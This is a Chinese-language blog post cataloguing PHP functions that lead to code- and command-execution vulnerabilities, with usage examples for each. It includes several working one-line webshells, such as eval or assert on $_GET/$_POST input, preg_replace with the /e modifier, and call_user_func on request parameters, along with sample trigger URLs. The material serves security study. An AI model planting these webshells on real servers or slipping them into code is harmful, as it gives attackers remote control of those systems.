php代码执行与命令执行漏洞

php代码执行与命令执行漏洞

学习php代码执行与命令执行漏洞,没有新姿势

常见危险函数或构造器

php代码执行相关

eval()

1
mixed eval( string $code)

eval()函数把字符串按照php代码来计算,常见的一句话木马:

1
2
3
<?php eval($_GET['cmd']); ?>

<?php eval($_POST['cmd']); ?>

访问:

1
http://xxx.com/test.php?cmd=phpinfo();

得到phpinfo()页面。

assert()

php5:

1
bool assert( mixed $assertion[, string $description] )

php7:

1
bool assert( mixed $assertion[, Throwable $exception] )

assert() 会检查指定的 assertion 并在结果为 FALSE 时采取适当的行动。

如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。

普通调用:

1
2
3
<?php assert($_GET['cmd']); ?>

<?php assert($_POST['cmd']); ?>

访问:

1
http://xxx.com/test.php?cmd=phpinfo();

phpinfo()后可以不用分号,得到phpinfo页面。

assert函数支持动态调用:

1
2
3
4
<?php
$a = 'assert';
$a($_POST['a']);
?>

php官方在php7中更改了assert函数。在php7.0.29之后的版本不支持动态调用。

preg_replace()

1
mixed preg_replace( mixed $pattern, mixed $replacement, mixed $subject[, int $limit = -1[, int &$count]] )

preg_replace()在进行了对替换字符串的后向引用替换之后, 将替换后的字符串作为php代码评估执行(eval函数方式),并使用执行结果作为实际参与替换的字符串。单引号、双引号、反斜线()和 NULL 字符在后向引用替换时会被用反斜线转义.

第一个参数

第二个参数

一句话木马:

1
2
3
<?php
@preg_replace("/123/e",$_REQUEST['cmd'],"1234");
?>

访问:

1
http://xxx.com/test.php?cmd=phpinfo();

php 7.0.0 不再支持 /e修饰符

更详细说明请参考文档:php-preg_replace

第三个参数

create_function()

1
string create_function( string $args, string $code)

用法:

1
create_function('$fname','echo $fname."Zhang"')

类似于:

1
2
3
function fT($fname) {
echo $fname."Zhang";
}

该函数的内部实现用到了eval,所以也具有相同的安全问题

1
2
3
4
5
<?php
$a = $_GET['cmd'];
$b = create_function('$a',"echo $a");
$b();
?>

访问:

1
http://xxx.com/test.php?cmd=phpinfo();

该函数存在缺陷,详见PHP create_function()代码注入

call_user_func()

1
mixed call_user_func( callable $callback[, mixed $parameter[, mixed $...]] )

第一个参数callback是被调用的回调函数,其余参数是回调函数的参数。 传入call_user_func()的参数不能为引用传递。

1
2
3
<?php
call_user_func($_GET['fun'],$_GET['exec']);
?>

访问:

1
http://xxx.com/test.php?fun=assert&exec=phpinfo()

eval()在这里是不能作为回调函数使用的。

在php中,可以通过is_callable来判断一个函数是否为回调函数,比如:

1
2
3
<?php
echo is_callable("eval") == false;
?>

call_user_func_array()

1
mixed call_user_func_array( callable $callback, array $param_arr)

把第一个参数作为回调函数(callback)调用,把参数数组作(param_arr)为回调函数的的参数传入。

1
2
3
<?php
call_user_func_array($_GET['fun'],$_GET['exec']);
?>

访问

1
http://xxx.com/test.php?fun=assert&exec[]=phpinfo()

array_map()

1
array array_map( callable $callback, array $array1[, array $...] )

返回数组,是为 array1 每个元素应用 callback函数之后的数组。callback 函数形参的数量和传给 array_map() 数组数量,两者必须一样。

1
2
3
4
5
6
<?php
$a = $_GET['a'];
$b = $_GET['b'];
$array[0] = $b;
$c = array_map($a,$array);
?>

访问:

1
http://xxx.com/test1.php?a=assert&b=phpinfo();

系统命令执行相关

system()

1
string system( string $command[, int &$return_var] )

command是要执行的命令。return_var,如果提供 return_var 参数, 则外部命令执行后的返回状态将会被设置到此变量中。

passthru()

1
void passthru( string $command[, int &$return_var] )

command是要执行的命令。return_var,如果提供 return_var 参数, Unix 命令的返回状态会被记录到此参数。

exec()

1
string exec( string $command[, array &$output[, int &$return_var]] )

exec() 执行 command 参数所指定的命令。 其余参数,见文档

1
2
3
<?php
echo exec("ls");
?>

返回值是命令执行结果的最后一行内容。

pcntl_exec()

1
void pcntl_exec ( string $path [, array $args [, array $envs ]] )

path是可执行二进制文件路径或一个在文件第一行指定了 一个可执行文件路径标头的脚本
args是一个要传递给程序的参数的字符串数组。

1
2
3
4
<?php
pcntl_exec ( "/bin/ls" ,["/"]);
echo '123'; //不会执行到该行
?>

shell_exec()

1
string shell_exec ( string $cmd )

popen()

1
popen ( string $command , string $mode ) : resource
1
2
3
4
5
6
7
8
9
10
<?php  
$test = "ls /tmp/test";
$fp = popen($test,"r"); //popen打一个进程通道

while (!feof($fp)) { //从通道里面取得东西
$out = fgets($fp, 4096);
echo $out; //打印出来
}
pclose($fp);
?>

proc_open()

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$test = "ls /";
$array = [
["pipe","r"], //标准输入
["pipe","w"], //标准输出内容
["pipe","w"] //标准输出错误
];

$fp = proc_open($test,$array,$pipes); //打开一个进程通道
echo stream_get_contents($pipes[1]); //为什么是$pipes[1],因为1是输出内容
proc_close($fp);
?>

`(反引号)

在php中称之为执行运算符,PHP 将尝试将反引号中的内容作为 shell 命令来执行,并将其输出信息返回(即,可以赋给一个变量而不是简单地丢弃到标准输出,使用反引号运算符“`”的效果与函数 shell_exec() 相同。

ob_start()

此函数将打开输出缓冲。当输出缓冲激活后,脚本将不会输出内容(除http标头外),相反需要输出的内容被存储在内部缓冲区中。想要输出存储在内部缓冲区中的内容,可以使用 ob_end_flush() 函数。

可选参数 output_callback 函数可以被指定。 此函数把一个字符串当作参数并返回一个字符串。 当输出缓冲区被( ob_flush(), ob_clean() 或者相似的函数)冲刷(送出)或者被清洗的时候;或者在请求结束之际输出缓冲区内容被冲刷到浏览器的时候该函数将会被调用。 当调用 output_callback 时,它将收到输出缓冲区的内容作为参数 并预期返回一个新的输出缓冲区作为结果,这个新返回的输出缓冲区内容将被送到浏览器。

下面的代码,由于调用了ob_end_flush(),所以会调用ob_start($cmd)中的cmd,把我们输入的$_GET[a]作为cmd的参数。

1
2
3
4
5
6
<?php
$cmd = 'system';
ob_start($cmd);
echo "$_GET[a]";
ob_end_flush();
?>

本文标题:php代码执行与命令执行漏洞

文章作者:xianyu123

发布时间:2019年04月15日 - 21:17

最后更新:2020年08月22日 - 10:22

原始链接:http://0clickjacking0.github.io/2019/04/15/php代码执行与命令执行漏洞/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。

-------------    本文结束  感谢您的阅读    -------------